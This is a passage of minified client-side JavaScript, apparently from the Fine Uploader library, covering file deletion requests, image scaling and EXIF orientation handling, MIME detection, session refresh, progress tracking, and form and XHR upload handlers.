Date(n.lastUpdated);i.setDate(i.getDate()+e),i.getTime()<=Date.now()&&(m("Removing expired resume record with key "+t),localStorage.removeItem(t))})},_shouldChunkThisFile:function(e){var t=n._getFileState(e);return t.chunking||n.reevaluateChunking(e),t.chunking.enabled}})},qq.DeleteFileAjaxRequester=function(e){"use strict";function t(){return"POST"===i.method.toUpperCase()?{_method:"DELETE"}:{}}var n,i={method:"DELETE",uuidParamName:"qquuid",endpointStore:{},maxConnections:3,customHeaders:function(e){return{}},paramsStore:{},cors:{expected:!1,sendCredentials:!1},log:function(e,t){},onDelete:function(e){},onDeleteComplete:function(e,t,n){}};qq.extend(i,e),n=qq.extend(this,new qq.AjaxRequester({acceptHeader:"application/json",validMethods:["POST","DELETE"],method:i.method,endpointStore:i.endpointStore,paramsStore:i.paramsStore,mandatedParams:t(),maxConnections:i.maxConnections,customHeaders:function(e){return i.customHeaders.get(e)},log:i.log,onSend:i.onDelete,onComplete:i.onDeleteComplete,cors:i.cors})),qq.extend(this,{sendDelete:function(e,t,o){var r=o||{};i.log("Submitting delete file request for "+e),"DELETE"===i.method?n.initTransport(e).withPath(t).withParams(r).send():(r[i.uuidParamName]=t,n.initTransport(e).withParams(r).send())}})},function(){function e(e){var t,n=e.naturalWidth,i=e.naturalHeight,o=document.createElement("canvas");return n*i>1048576&&(o.width=o.height=1,t=o.getContext("2d"),t.drawImage(e,-n+1,0),0===t.getImageData(0,0,1,1).data[3])}function t(e,t,n){var i,o,r,a,s=document.createElement("canvas"),u=0,l=n,c=n;for(s.width=1,s.height=n,i=s.getContext("2d"),i.drawImage(e,0,0),o=i.getImageData(0,0,1,n).data;c>u;)r=o[4*(c-1)+3],0===r?l=c:u=c,c=l+u>>1;return a=c/n,0===a?1:a}function n(e,t,n,i){var r=document.createElement("canvas"),a=n.mime||"image/jpeg",s=new qq.Promise;return o(e,t,r,n,i).then(function(){s.success(r.toDataURL(a,n.quality||.8))}),s}function i(e){var t=5241e3;if(!qq.ios())throw new qq.Error("Downsampled dimensions can only be reliably calculated for iOS!");if(e.origHeight*e.origWidth>t)return{newHeight:Math.round(Math.sqrt(t*(e.origHeight/e.origWidth))),newWidth:Math.round(Math.sqrt(t*(e.origWidth/e.origHeight)))}}function o(n,o,s,u,l){var c,d=n.naturalWidth,f=n.naturalHeight,p=u.width,q=u.height,h=s.getContext("2d"),m=new qq.Promise;return h.save(),u.resize?r({blob:o,canvas:s,image:n,imageHeight:f,imageWidth:d,orientation:u.orientation,resize:u.resize,targetHeight:q,targetWidth:p}):(qq.supportedFeatures.unlimitedScaledImageSize||(c=i({origWidth:p,origHeight:q}),c&&(qq.log(qq.format("Had to reduce dimensions due to device limitations from {}w / {}h to {}w / {}h",p,q,c.newWidth,c.newHeight),"warn"),p=c.newWidth,q=c.newHeight)),a(s,p,q,u.orientation),qq.ios()?!function(){e(n)&&(d/=2,f/=2);var i,o,r,a=1024,s=document.createElement("canvas"),u=l?t(n,d,f):1,c=Math.ceil(a*p/d),m=Math.ceil(a*q/f/u),g=0,_=0;for(s.width=s.height=a,i=s.getContext("2d");g<f;){for(o=0,r=0;o<d;)i.clearRect(0,0,a,a),i.drawImage(n,-o,-g),h.drawImage(s,0,0,a,a,r,_,c,m),o+=a,r+=c;g+=a,_+=m}h.restore(),s=i=null}():h.drawImage(n,0,0,p,q),s.qqImageRendered&&s.qqImageRendered(),m.success(),m)}function r(e){var t=e.blob,n=e.image,i=e.imageHeight,o=e.imageWidth,r=e.orientation,s=new qq.Promise,u=e.resize,l=document.createElement("canvas"),c=l.getContext("2d"),d=e.canvas,f=e.targetHeight,p=e.targetWidth;return a(l,o,i,r),d.height=f,d.width=p,c.drawImage(n,0,0),u({blob:t,height:f,image:n,sourceCanvas:l,targetCanvas:d,width:p}).then(function(){d.qqImageRendered&&d.qqImageRendered(),s.success()},s.failure),s}function a(e,t,n,i){switch(i){case 5:case 6:case 7:case 8:e.width=n,e.height=t;break;default:e.width=t,e.height=n}var o=e.getContext("2d");switch(i){case 2:o.translate(t,0),o.scale(-1,1);break;case 3:o.translate(t,n),o.rotate(Math.PI);break;case 4:o.translate(0,n),o.scale(1,-1);break;case 5:o.rotate(.5*Math.PI),o.scale(1,-1);break;case 6:o.rotate(.5*Math.PI),o.translate(0,-n);break;case 7:o.rotate(.5*Math.PI),o.translate(t,-n),o.scale(-1,1);break;case 8:o.rotate(-.5*Math.PI),o.translate(-t,0)}}function s(e,t){var n=this;window.Blob&&e instanceof Blob&&!function(){var t=new Image,i=window.URL&&window.URL.createObjectURL?window.URL:window.webkitURL&&window.webkitURL.createObjectURL?window.webkitURL:null;if(!i)throw Error("No createObjectURL function found to create blob url");t.src=i.createObjectURL(e),n.blob=e,e=t}(),e.naturalWidth||e.naturalHeight||(e.onload=function(){var e=n.imageLoadListeners;e&&(n.imageLoadListeners=null,setTimeout(function(){for(var t=0,n=e.length;t<n;t++)e[t]()},0))},e.onerror=t,this.imageLoadListeners=[]),this.srcImage=e}s.prototype.render=function(e,t){t=t||{};var i,r=this,a=this.srcImage.naturalWidth,s=this.srcImage.naturalHeight,u=t.width,l=t.height,c=t.maxWidth,d=t.maxHeight,f=!this.blob||"image/jpeg"===this.blob.type,p=e.tagName.toLowerCase();return this.imageLoadListeners?void this.imageLoadListeners.push(function(){r.render(e,t)}):(u&&!l?l=s*u/a<<0:l&&!u?u=a*l/s<<0:(u=a,l=s),c&&u>c&&(u=c,l=s*u/a<<0),d&&l>d&&(l=d,u=a*l/s<<0),i={width:u,height:l},qq.each(t,function(e,t){i[e]=t}),"img"===p?!function(){var t=e.src;n(r.srcImage,r.blob,i,f).then(function(n){e.src=n,t===e.src&&e.onload()})}():"canvas"===p&&o(this.srcImage,this.blob,e,i,f),void("function"==typeof this.onrender&&this.onrender(e)))},qq.MegaPixImage=s}(),qq.ImageGenerator=function(e){"use strict";function t(e){return"img"===e.tagName.toLowerCase()}function n(e){return"canvas"===e.tagName.toLowerCase()}function i(){return void 0!==(new Image).crossOrigin}function o(){var e=document.createElement("canvas");return e.getContext&&e.getContext("2d")}function r(e){var t=e.split("/"),n=t[t.length-1].split("?")[0],i=qq.getExtension(n);switch(i=i&&i.toLowerCase()){case"jpeg":case"jpg":return"image/jpeg";case"png":return"image/png";case"bmp":return"image/bmp";case"gif":return"image/gif";case"tiff":case"tif":return"image/tiff"}}function a(e){var t,n,i,o=document.createElement("a");return o.href=e,t=o.protocol,i=o.port,n=o.hostname,t.toLowerCase()!==window.location.protocol.toLowerCase()||(n.toLowerCase()!==window.location.hostname.toLowerCase()||i!==window.location.port&&!qq.ie())}function s(t,n){t.onload=function(){t.onload=null,t.onerror=null,n.success(t)},t.onerror=function(){t.onload=null,t.onerror=null,e("Problem drawing thumbnail!","error"),n.failure(t,"Problem drawing thumbnail!")}}function u(e,t){e.qqImageRendered=function(){t.success(e)}}function l(i,o){var r=t(i)||n(i);return t(i)?s(i,o):n(i)?u(i,o):(o.failure(i),e(qq.format("Element container of type {} is not supported!",i.tagName),"error")),r}function c(t,n,i){var o=new qq.Promise,r=new qq.Identify(t,e),a=i.maxSize,s=null==i.orient||i.orient,u=function(){n.onerror=null,n.onload=null,e("Could not render preview, file may be too large!","error"),o.failure(n,"Browser cannot render image!")};return r.isPreviewable().then(function(r){var c={parse:function(){return(new qq.Promise).success()}},d=s?new qq.Exif(t,e):c,f=new qq.MegaPixImage(t,u);l(n,o)&&d.parse().then(function(e){var t=e&&e.Orientation;f.render(n,{maxWidth:a,maxHeight:a,orientation:t,mime:r,resize:i.customResizeFunction})},function(t){e(qq.format("EXIF data could not be parsed ({}).  Assuming orientation = 1.",t)),f.render(n,{maxWidth:a,maxHeight:a,mime:r,resize:i.customResizeFunction})})},function(){e("Not previewable"),o.failure(n,"Not previewable")}),o}function d(e,t,n,i,o){var s=new Image,u=new qq.Promise;l(s,u),a(e)&&(s.crossOrigin="anonymous"),s.src=e,u.then(function(){l(t,n);var a=new qq.MegaPixImage(s);a.render(t,{maxWidth:i,maxHeight:i,mime:r(e),resize:o})},n.failure)}function f(e,t,n,i){l(t,n),qq(t).css({maxWidth:i+"px",maxHeight:i+"px"}),t.src=e}function p(e,r,s){var u=new qq.Promise,c=s.scale,p=c?s.maxSize:null;return c&&t(r)?o()?a(e)&&!i()?f(e,r,u,p):d(e,r,u,p):f(e,r,u,p):n(r)?d(e,r,u,p):l(r,u)&&(r.src=e),u}qq.extend(this,{generate:function(t,n,i){return qq.isString(t)?(e("Attempting to update thumbnail based on server response."),p(t,n,i||{})):(e("Attempting to draw client-side image preview."),c(t,n,i||{}))}}),this._testing={},this._testing.isImg=t,this._testing.isCanvas=n,this._testing.isCrossOrigin=a,this._testing.determineMimeOfFileName=r},qq.Exif=function(e,t){"use strict";function n(e){for(var t=0,n=0;e.length>0;)t+=parseInt(e.substring(0,2),16)*Math.pow(2,n),e=e.substring(2,e.length),n+=8;return t}function i(t,n){var o=t,r=n;return void 0===o&&(o=2,r=new qq.Promise),qq.readBlobToHex(e,o,4).then(function(e){var t,n=/^ffe([0-9])/.exec(e);n?"1"!==n[1]?(t=parseInt(e.slice(4,8),16),i(o+t+2,r)):r.success(o):r.failure("No EXIF header to be found!")}),r}function o(){var t=new qq.Promise;return qq.readBlobToHex(e,0,6).then(function(e){0!==e.indexOf("ffd8")?t.failure("Not a valid JPEG!"):i().then(function(e){t.success(e)},function(e){t.failure(e)})}),t}function r(t){var n=new qq.Promise;return qq.readBlobToHex(e,t+10,2).then(function(e){n.success("4949"===e)}),n}function a(t,i){var o=new qq.Promise;return qq.readBlobToHex(e,t+18,2).then(function(e){return i?o.success(n(e)):void o.success(parseInt(e,16))}),o}function s(t,n){var i=t+20,o=12*n;return qq.readBlobToHex(e,i,o)}function u(e){for(var t=[],n=0;n+24<=e.length;)t.push(e.slice(n,n+24)),n+=24;return t}function l(e,t){var i=16,o=qq.extend([],c),r={};return qq.each(t,function(t,a){var s,u,l,c=a.slice(0,4),f=e?n(c):parseInt(c,16),p=o.indexOf(f);if(p>=0&&(u=d[f].name,l=d[f].bytes,s=a.slice(i,i+2*l),r[u]=e?n(s):parseInt(s,16),o.splice(p,1)),0===o.length)return!1}),r}var c=[274],d={274:{name:"Orientation",bytes:2}};qq.extend(this,{parse:function(){var n=new qq.Promise,i=function(e){t(qq.format("EXIF header parse failed: '{}' ",e)),n.failure(e)};return o().then(function(o){t(qq.format("Moving forward with EXIF header parsing for '{}'",void 0===e.name?"blob":e.name)),r(o).then(function(e){t(qq.format("EXIF Byte order is {} endian",e?"little":"big")),a(o,e).then(function(r){t(qq.format("Found {} APP1 directory entries",r)),s(o,r).then(function(i){var o=u(i),r=l(e,o);t("Successfully parsed some EXIF tags"),n.success(r)},i)},i)},i)},i),n}}),this._testing={},this._testing.parseLittleEndian=n},qq.Identify=function(e,t){"use strict";function n(e,t){var n=!1,i=[].concat(e);return qq.each(i,function(e,i){if(0===t.indexOf(i))return n=!0,!1}),n}qq.extend(this,{isPreviewable:function(){var i=this,o=new qq.Promise,r=!1,a=void 0===e.name?"blob":e.name;return t(qq.format("Attempting to determine if {} can be rendered in this browser",a)),t("First pass: check type attribute of blob object."),this.isPreviewableSync()?(t("Second pass: check for magic bytes in file header."),qq.readBlobToHex(e,0,4).then(function(e){qq.each(i.PREVIEWABLE_MIME_TYPES,function(t,i){if(n(i,e))return("image/tiff"!==t||qq.supportedFeatures.tiffPreviews)&&(r=!0,o.success(t)),!1}),t(qq.format("'{}' is {} able to be rendered in this browser",a,r?"":"NOT")),r||o.failure()},function(){t("Error reading file w/ name '"+a+"'.  Not able to be rendered in this browser."),o.failure()})):o.failure(),o},isPreviewableSync:function(){var n=e.type,i=qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES),n)>=0,o=!1,r=void 0===e.name?"blob":e.name;return i&&(o="image/tiff"!==n||qq.supportedFeatures.tiffPreviews),!o&&t(r+" is not previewable in this browser per the blob's type attr"),o}})},qq.Identify.prototype.PREVIEWABLE_MIME_TYPES={"image/jpeg":"ffd8ff","image/gif":"474946","image/png":"89504e","image/bmp":"424d","image/tiff":["49492a00","4d4d002a"]},qq.Identify=function(e,t){"use strict";function n(e,t){var n=!1,i=[].concat(e);return qq.each(i,function(e,i){if(0===t.indexOf(i))return n=!0,!1}),n}qq.extend(this,{isPreviewable:function(){var i=this,o=new qq.Promise,r=!1,a=void 0===e.name?"blob":e.name;return t(qq.format("Attempting to determine if {} can be rendered in this browser",a)),t("First pass: check type attribute of blob object."),this.isPreviewableSync()?(t("Second pass: check for magic bytes in file header."),qq.readBlobToHex(e,0,4).then(function(e){qq.each(i.PREVIEWABLE_MIME_TYPES,function(t,i){if(n(i,e))return("image/tiff"!==t||qq.supportedFeatures.tiffPreviews)&&(r=!0,o.success(t)),!1}),t(qq.format("'{}' is {} able to be rendered in this browser",a,r?"":"NOT")),r||o.failure()},function(){t("Error reading file w/ name '"+a+"'.  Not able to be rendered in this browser."),o.failure()})):o.failure(),o},isPreviewableSync:function(){var n=e.type,i=qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES),n)>=0,o=!1,r=void 0===e.name?"blob":e.name;return i&&(o="image/tiff"!==n||qq.supportedFeatures.tiffPreviews),!o&&t(r+" is not previewable in this browser per the blob's type attr"),o}})},qq.Identify.prototype.PREVIEWABLE_MIME_TYPES={"image/jpeg":"ffd8ff","image/gif":"474946","image/png":"89504e","image/bmp":"424d","image/tiff":["49492a00","4d4d002a"]},qq.ImageValidation=function(e,t){"use strict";function n(e){var t=!1;return qq.each(e,function(e,n){if(n>0)return t=!0,!1}),t}function i(){var n=new qq.Promise;return new qq.Identify(e,t).isPreviewable().then(function(){var i=new Image,o=window.URL&&window.URL.createObjectURL?window.URL:window.webkitURL&&window.webkitURL.createObjectURL?window.webkitURL:null;o?(i.onerror=function(){t("Cannot determine dimensions for image.  May be too large.","error"),n.failure()},i.onload=function(){n.success({width:this.width,height:this.height})},i.src=o.createObjectURL(e)):(t("No createObjectURL function available to generate image URL!","error"),n.failure())},n.failure),n}function o(e,t){var n;return qq.each(e,function(e,i){if(i>0){var o=/(max|min)(Width|Height)/.exec(e),r=o[2].charAt(0).toLowerCase()+o[2].slice(1),a=t[r];switch(o[1]){case"min":if(a<i)return n=e,!1;break;case"max":if(a>i)return n=e,!1}}}),n}this.validate=function(e){var r=new qq.Promise;return t("Attempting to validate image."),n(e)?i().then(function(t){var n=o(e,t);n?r.failure(n):r.success()},r.success):r.success(),r}},qq.Session=function(e){"use strict";function t(e){return!!qq.isArray(e)||void i.log("Session response is not an array.","error")}function n(e,n,o,r){var a=!1;n=n&&t(e),n&&qq.each(e,function(e,t){if(null==t.uuid)a=!0,i.log(qq.format("Session response item {} did not include a valid UUID - ignoring.",e),"error");else if(null==t.name)a=!0,i.log(qq.format("Session response item {} did not include a valid name - ignoring.",e),"error");else try{return i.addFileRecord(t),!0}catch(e){a=!0,i.log(e.message,"error")}return!1}),r[n&&!a?"success":"failure"](e,o)}var i={endpoint:null,params:{},customHeaders:{},cors:{},addFileRecord:function(e){},log:function(e,t){}};qq.extend(i,e,!0),this.refresh=function(){var e=new qq.Promise,t=function(t,i,o){n(t,i,o,e)},o=qq.extend({},i),r=new qq.SessionAjaxRequester(qq.extend(o,{onComplete:t}));return r.queryServer(),e}},qq.SessionAjaxRequester=function(e){"use strict";function t(e,t,n){var o=null;if(null!=t.responseText)try{o=qq.parseJson(t.responseText)}catch(e){i.log("Problem parsing session response: "+e.message,"error"),n=!0}i.onComplete(o,!n,t)}var n,i={endpoint:null,customHeaders:{},params:{},cors:{expected:!1,sendCredentials:!1},onComplete:function(e,t,n){},log:function(e,t){}};qq.extend(i,e),n=qq.extend(this,new qq.AjaxRequester({acceptHeader:"application/json",validMethods:["GET"],method:"GET",endpointStore:{get:function(){return i.endpoint}},customHeaders:i.customHeaders,log:i.log,onComplete:t,cors:i.cors})),qq.extend(this,{queryServer:function(){var e=qq.extend({},i.params);i.log("Session query request."),n.initTransport("sessionRefresh").withParams(e).withCacheBuster().send()}})},qq.Scaler=function(e,t){"use strict";var n=e.customResizer,i=e.sendOriginal,o=e.orient,r=e.defaultType,a=e.defaultQuality/100,s=e.failureText,u=e.includeExif,l=this._getSortedSizes(e.sizes);qq.extend(this,{enabled:qq.supportedFeatures.scaling&&l.length>0,getFileRecords:function(e,c,d){var f=this,p=[],q=d.blob?d.blob:d,h=new qq.Identify(q,t);return h.isPreviewableSync()?(qq.each(l,function(e,i){var l=f._determineOutputType({defaultType:r,requestedType:i.type,refType:q.type});p.push({uuid:qq.getUniqueId(),name:f._getName(c,{name:i.name,type:l,refType:q.type}),blob:new qq.BlobProxy(q,qq.bind(f._generateScaledImage,f,{customResizeFunction:n,maxSize:i.maxSize,orient:o,type:l,quality:a,failedText:s,includeExif:u,log:t}))})}),p.push({uuid:e,name:c,size:q.size,blob:i?q:null})):p.push({uuid:e,name:c,size:q.size,blob:q}),p},handleNewFile:function(e,t,n,i,o,r,a,s){var u=this,l=(e.qqButtonId||e.blob&&e.blob.qqButtonId,[]),c=null,d=s.addFileToHandler,f=s.uploadData,p=s.paramsStore,q=qq.getUniqueId();qq.each(u.getFileRecords(n,t,e),function(e,t){var n,i=t.size;t.blob instanceof qq.BlobProxy&&(i=-1),n=f.addFile({uuid:t.uuid,name:t.name,size:i,batchId:r,proxyGroupId:q}),t.blob instanceof qq.BlobProxy?l.push(n):c=n,t.blob?(d(n,t.blob),o.push({id:n,file:t.blob})):f.setStatus(n,qq.status.REJECTED)}),null!==c&&(qq.each(l,function(e,t){var n={qqparentuuid:f.retrieve({id:c}).uuid,qqparentsize:f.retrieve({id:c}).size};n[a]=f.retrieve({id:t}).uuid,f.setParentId(t,c),p.addReadOnly(t,n)}),l.length&&!function(){var e={};e[a]=f.retrieve({id:c}).uuid,p.addReadOnly(c,e)}())}})},qq.extend(qq.Scaler.prototype,{scaleImage:function(e,t,n){"use strict";if(!qq.supportedFeatures.scaling)throw new qq.Error("Scaling is not supported in this browser!");var i=new qq.Promise,o=n.log,r=n.getFile(e),a=n.uploadData.retrieve({id:e}),s=a&&a.name,u=a&&a.uuid,l={customResizer:t.customResizer,sendOriginal:!1,orient:t.orient,defaultType:t.type||null,defaultQuality:t.quality,failedToScaleText:"Unable to scale",sizes:[{name:"",maxSize:t.maxSize}]},c=new qq.Scaler(l,o);return qq.Scaler&&qq.supportedFeatures.imagePreviews&&r?qq.bind(function(){var t=c.getFileRecords(u,s,r)[0];t&&t.blob instanceof qq.BlobProxy?t.blob.create().then(i.success,i.failure):(o(e+" is not a scalable image!","error"),i.failure())},this)():(i.failure(),o("Could not generate requested scaled image for "+e+".  Scaling is either not possible in this browser, or the file could not be located.","error")),i},_determineOutputType:function(e){"use strict";var t=e.requestedType,n=e.defaultType,i=e.refType;return n||t?t&&qq.indexOf(Object.keys(qq.Identify.prototype.PREVIEWABLE_MIME_TYPES),t)>=0?"image/tiff"===t?qq.supportedFeatures.tiffPreviews?t:n:t:n:"image/jpeg"!==i?"image/png":i},_getName:function(e,t){"use strict";var n=e.lastIndexOf("."),i=t.type||"image/png",o=t.refType,r="",a=qq.getExtension(e),s="";return t.name&&t.name.trim().length&&(s=" ("+t.name+")"),n>=0?(r=e.substr(0,n),o!==i&&(a=i.split("/")[1]),r+=s+"."+a):r=e+s,r},_getSortedSizes:function(e){"use strict";return e=qq.extend([],e),e.sort(function(e,t){return e.maxSize>t.maxSize?1:e.maxSize<t.maxSize?-1:0})},_generateScaledImage:function(e,t){"use strict";var n=this,i=e.customResizeFunction,o=e.log,r=e.maxSize,a=e.orient,s=e.type,u=e.quality,l=e.failedText,c=e.includeExif&&"image/jpeg"===t.type&&"image/jpeg"===s,d=new qq.Promise,f=new qq.ImageGenerator(o),p=document.createElement("canvas");return o("Attempting to generate scaled version for "+t.name),f.generate(t,p,{maxSize:r,orient:a,customResizeFunction:i}).then(function(){var e=p.toDataURL(s,u),i=function(){o("Success generating scaled version for "+t.name);var n=qq.dataUriToBlob(e);d.success(n)};c?n._insertExifHeader(t,e,o).then(function(t){e=t,i()},function(){o("Problem inserting EXIF header into scaled image.  Using scaled image w/out EXIF data.","error"),i()}):i()},function(){o("Failed attempt to generate scaled version for "+t.name,"error"),d.failure(l)}),d},_insertExifHeader:function(e,t,n){"use strict";var i=new FileReader,o=new qq.Promise,r="";return i.onload=function(){r=i.result,o.success(qq.ExifRestorer.restore(r,t))},i.onerror=function(){n("Problem reading "+e.name+" during attempt to transfer EXIF data to scaled version.","error"),o.failure()},i.readAsDataURL(e),o},_dataUriToBlob:function(e){"use strict";var t,n,i,o;return t=e.split(",")[0].indexOf("base64")>=0?atob(e.split(",")[1]):decodeURI(e.split(",")[1]),n=e.split(",")[0].split(":")[1].split(";")[0],i=new ArrayBuffer(t.length),o=new Uint8Array(i),qq.each(t,function(e,t){o[e]=t.charCodeAt(0)}),this._createBlob(i,n)},_createBlob:function(e,t){"use strict";var n=window.BlobBuilder||window.WebKitBlobBuilder||window.MozBlobBuilder||window.MSBlobBuilder,i=n&&new n;return i?(i.append(e),i.getBlob(t)):new Blob([e],{type:t})}}),qq.ExifRestorer=function(){var e={};return e.KEY_STR="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",e.encode64=function(e){var t,n,i,o,r,a="",s="",u="",l=0;do t=e[l++],n=e[l++],s=e[l++],i=t>>2,o=(3&t)<<4|n>>4,r=(15&n)<<2|s>>6,u=63&s,isNaN(n)?r=u=64:isNaN(s)&&(u=64),a=a+this.KEY_STR.charAt(i)+this.KEY_STR.charAt(o)+this.KEY_STR.charAt(r)+this.KEY_STR.charAt(u),t=n=s="",i=o=r=u="";while(l<e.length);return a},e.restore=function(e,t){var n="data:image/jpeg;base64,";if(!e.match(n))return t;var i=this.decode64(e.replace(n,"")),o=this.slice2Segments(i),r=this.exifManipulation(t,o);return n+this.encode64(r)},e.exifManipulation=function(e,t){var n=this.getExifArray(t),i=this.insertExif(e,n),o=new Uint8Array(i);return o},e.getExifArray=function(e){for(var t,n=0;n<e.length;n++)if(t=e[n],255==t[0]&225==t[1])return t;return[]},e.insertExif=function(e,t){var n=e.replace("data:image/jpeg;base64,",""),i=this.decode64(n),o=i.indexOf(255,3),r=i.slice(0,o),a=i.slice(o),s=r;return s=s.concat(t),s=s.concat(a)},e.slice2Segments=function(e){for(var t=0,n=[];;){if(255==e[t]&218==e[t+1])break;if(255==e[t]&216==e[t+1])t+=2;else{var i=256*e[t+2]+e[t+3],o=t+i+2,r=e.slice(t,o);n.push(r),t=o}if(t>e.length)break}return n},e.decode64=function(e){var t,n,i,o,r,a="",s="",u=0,l=[],c=/[^A-Za-z0-9\+\/\=]/g;if(c.exec(e))throw new Error("There were invalid base64 characters in the input text.  Valid base64 characters are A-Z, a-z, 0-9, '+', '/',and '='");e=e.replace(/[^A-Za-z0-9\+\/\=]/g,"");do i=this.KEY_STR.indexOf(e.charAt(u++)),o=this.KEY_STR.indexOf(e.charAt(u++)),r=this.KEY_STR.indexOf(e.charAt(u++)),s=this.KEY_STR.indexOf(e.charAt(u++)),t=i<<2|o>>4,n=(15&o)<<4|r>>2,a=(3&r)<<6|s,l.push(t),64!=r&&l.push(n),64!=s&&l.push(a),t=n=a="",i=o=r=s="";while(u<e.length);return l},e}(),qq.TotalProgress=function(e,t){"use strict";var n={},i=0,o=0,r=-1,a=-1,s=function(t,n){t===r&&n===a||e(t,n),r=t,a=n},u=function(e,t){var n=!0;return qq.each(e,function(e,i){if(qq.indexOf(t,i)>=0)return n=!1,!1}),n},l=function(e){f(e,-1,-1),delete n[e]},c=function(e,t,n){(0===t.length||u(t,n))&&(s(o,o),this.reset())},d=function(e){var i=t(e);i>0&&(f(e,0,i),n[e]={loaded:0,total:i})},f=function(e,t,r){var a=n[e]?n[e].loaded:0,u=n[e]?n[e].total:0;t===-1&&r===-1?(i-=a,o-=u):(t&&(i+=t-a),r&&(o+=r-u)),s(i,o)};qq.extend(this,{onAllComplete:c,
onStatusChange:function(e,t,n){n===qq.status.CANCELED||n===qq.status.REJECTED?l(e):n===qq.status.SUBMITTING&&d(e)},onIndividualProgress:function(e,t,i){f(e,t,i),n[e]={loaded:t,total:i}},onNewSize:function(e){d(e)},reset:function(){n={},i=0,o=0}})},qq.PasteSupport=function(e){"use strict";function t(e){return e.type&&0===e.type.indexOf("image/")}function n(){r=qq(o.targetElement).attach("paste",function(e){var n=e.clipboardData;n&&qq.each(n.items,function(e,n){if(t(n)){var i=n.getAsFile();o.callbacks.pasteReceived(i)}})})}function i(){r&&r()}var o,r;o={targetElement:null,callbacks:{log:function(e,t){},pasteReceived:function(e){}}},qq.extend(o,e),n(),qq.extend(this,{reset:function(){i()}})},qq.FormSupport=function(e,t,n){"use strict";function i(e){e.getAttribute("action")&&(s.newEndpoint=e.getAttribute("action"))}function o(e,t){return!(e.checkValidity&&!e.checkValidity())||(n("Form did not pass validation checks - will not upload.","error"),void t())}function r(e){var n=e.submit;qq(e).attach("submit",function(i){i=i||window.event,i.preventDefault?i.preventDefault():i.returnValue=!1,o(e,n)&&t()}),e.submit=function(){o(e,n)&&t()}}function a(e){return e&&(qq.isString(e)&&(e=document.getElementById(e)),e&&(n("Attaching to form element."),i(e),u&&r(e))),e}var s=this,u=e.interceptSubmit,l=e.element,c=e.autoUpload;qq.extend(this,{newEndpoint:null,newAutoUpload:c,attachedToForm:!1,getFormInputsAsObject:function(){return null==l?null:s._form2Obj(l)}}),l=a(l),this.attachedToForm=!!l},qq.extend(qq.FormSupport.prototype,{_form2Obj:function(e){"use strict";var t={},n=function(e){var t=["button","image","reset","submit"];return qq.indexOf(t,e.toLowerCase())<0},i=function(e){return qq.indexOf(["checkbox","radio"],e.toLowerCase())>=0},o=function(e){return!(!i(e.type)||e.checked)||e.disabled&&"hidden"!==e.type.toLowerCase()},r=function(e){var t=null;return qq.each(qq(e).children(),function(e,n){if("option"===n.tagName.toLowerCase()&&n.selected)return t=n.value,!1}),t};return qq.each(e.elements,function(e,i){if(!qq.isInput(i,!0)&&"textarea"!==i.tagName.toLowerCase()||!n(i.type)||o(i)){if("select"===i.tagName.toLowerCase()&&!o(i)){var a=r(i);null!==a&&(t[i.name]=a)}}else t[i.name]=i.value}),t}}),qq.traditional=qq.traditional||{},qq.traditional.FormUploadHandler=function(e,t){"use strict";function n(e,t){var n,i,r;try{i=t.contentDocument||t.contentWindow.document,r=i.body.innerHTML,s("converting iframe's innerHTML to JSON"),s("innerHTML = "+r),r&&r.match(/^<pre/i)&&(r=i.body.firstChild.firstChild.nodeValue),n=o._parseJsonResponse(r)}catch(e){s("Error when attempting to parse form upload response ("+e.message+")","error"),n={success:!1}}return n}function i(t,n){var i=e.paramsStore.get(t),s="get"===e.method.toLowerCase()?"GET":"POST",u=e.endpointStore.get(t),l=r(t);return i[e.uuidName]=a(t),i[e.filenameParam]=l,o._initFormForUpload({method:s,endpoint:u,params:i,paramsInBody:e.paramsInBody,targetName:n.name})}var o=this,r=t.getName,a=t.getUuid,s=t.log;this.uploadFile=function(t){var r,a=o.getInput(t),u=o._createIframe(t),l=new qq.Promise;return r=i(t,u),r.appendChild(a),o._attachLoadEvent(u,function(i){s("iframe loaded");var r=i?i:n(t,u);o._detachLoadEvent(t),e.cors.expected||qq(u).remove(),r.success?l.success(r):l.failure(r)}),s("Sending upload request for "+t),r.submit(),qq(r).remove(),l},qq.extend(this,new qq.FormUploadHandler({options:{isCors:e.cors.expected,inputName:e.inputName},proxy:{onCancel:e.onCancel,getName:r,getUuid:a,log:s}}))},qq.traditional=qq.traditional||{},qq.traditional.XhrUploadHandler=function(e,t){"use strict";var n=this,i=t.getName,o=t.getSize,r=t.getUuid,a=t.log,s=e.forceMultipart||e.paramsInBody,u=function(t,n,r){var a=o(t),u=i(t);n[e.chunking.paramNames.partIndex]=r.part,n[e.chunking.paramNames.partByteOffset]=r.start,n[e.chunking.paramNames.chunkSize]=r.size,n[e.chunking.paramNames.totalParts]=r.count,n[e.totalFileSizeName]=a,s&&(n[e.filenameParam]=u)},l=new qq.traditional.AllChunksDoneAjaxRequester({cors:e.cors,endpoint:e.chunking.success.endpoint,log:a}),c=function(e,t){var n=new qq.Promise;return t.onreadystatechange=function(){if(4===t.readyState){var i=p(e,t);i.success?n.success(i.response,t):n.failure(i.response,t)}},n},d=function(t){var a=e.paramsStore.get(t),s=i(t),u=o(t);return a[e.uuidName]=r(t),a[e.filenameParam]=s,a[e.totalFileSizeName]=u,a[e.chunking.paramNames.totalParts]=n._getTotalChunks(t),a},f=function(e,t){return qq.indexOf([200,201,202,203,204],e.status)<0||!t.success||t.reset},p=function(e,t){var n;return a("xhr - server response received for "+e),a("responseText = "+t.responseText),n=q(!0,t),{success:!f(t,n),response:n}},q=function(e,t){var n={};try{a(qq.format("Received response status {} with body: {}",t.status,t.responseText)),n=qq.parseJson(t.responseText)}catch(t){e&&a("Error when attempting to parse xhr response text ("+t.message+")","error")}return n},h=function(t){var i=new qq.Promise;return l.complete(t,n._createXhr(t),d(t),e.customHeaders.get(t)).then(function(e){i.success(q(!1,e),e)},function(e){i.failure(q(!1,e),e)}),i},m=function(t,n,a,u){var l=new FormData,c=e.method,d=e.endpointStore.get(u),f=i(u),p=o(u);return t[e.uuidName]=r(u),t[e.filenameParam]=f,s&&(t[e.totalFileSizeName]=p),e.paramsInBody||(s||(t[e.inputName]=f),d=qq.obj2url(t,d)),n.open(c,d,!0),e.cors.expected&&e.cors.sendCredentials&&(n.withCredentials=!0),s?(e.paramsInBody&&qq.obj2FormData(t,l),l.append(e.inputName,a),l):a},g=function(t,i){var 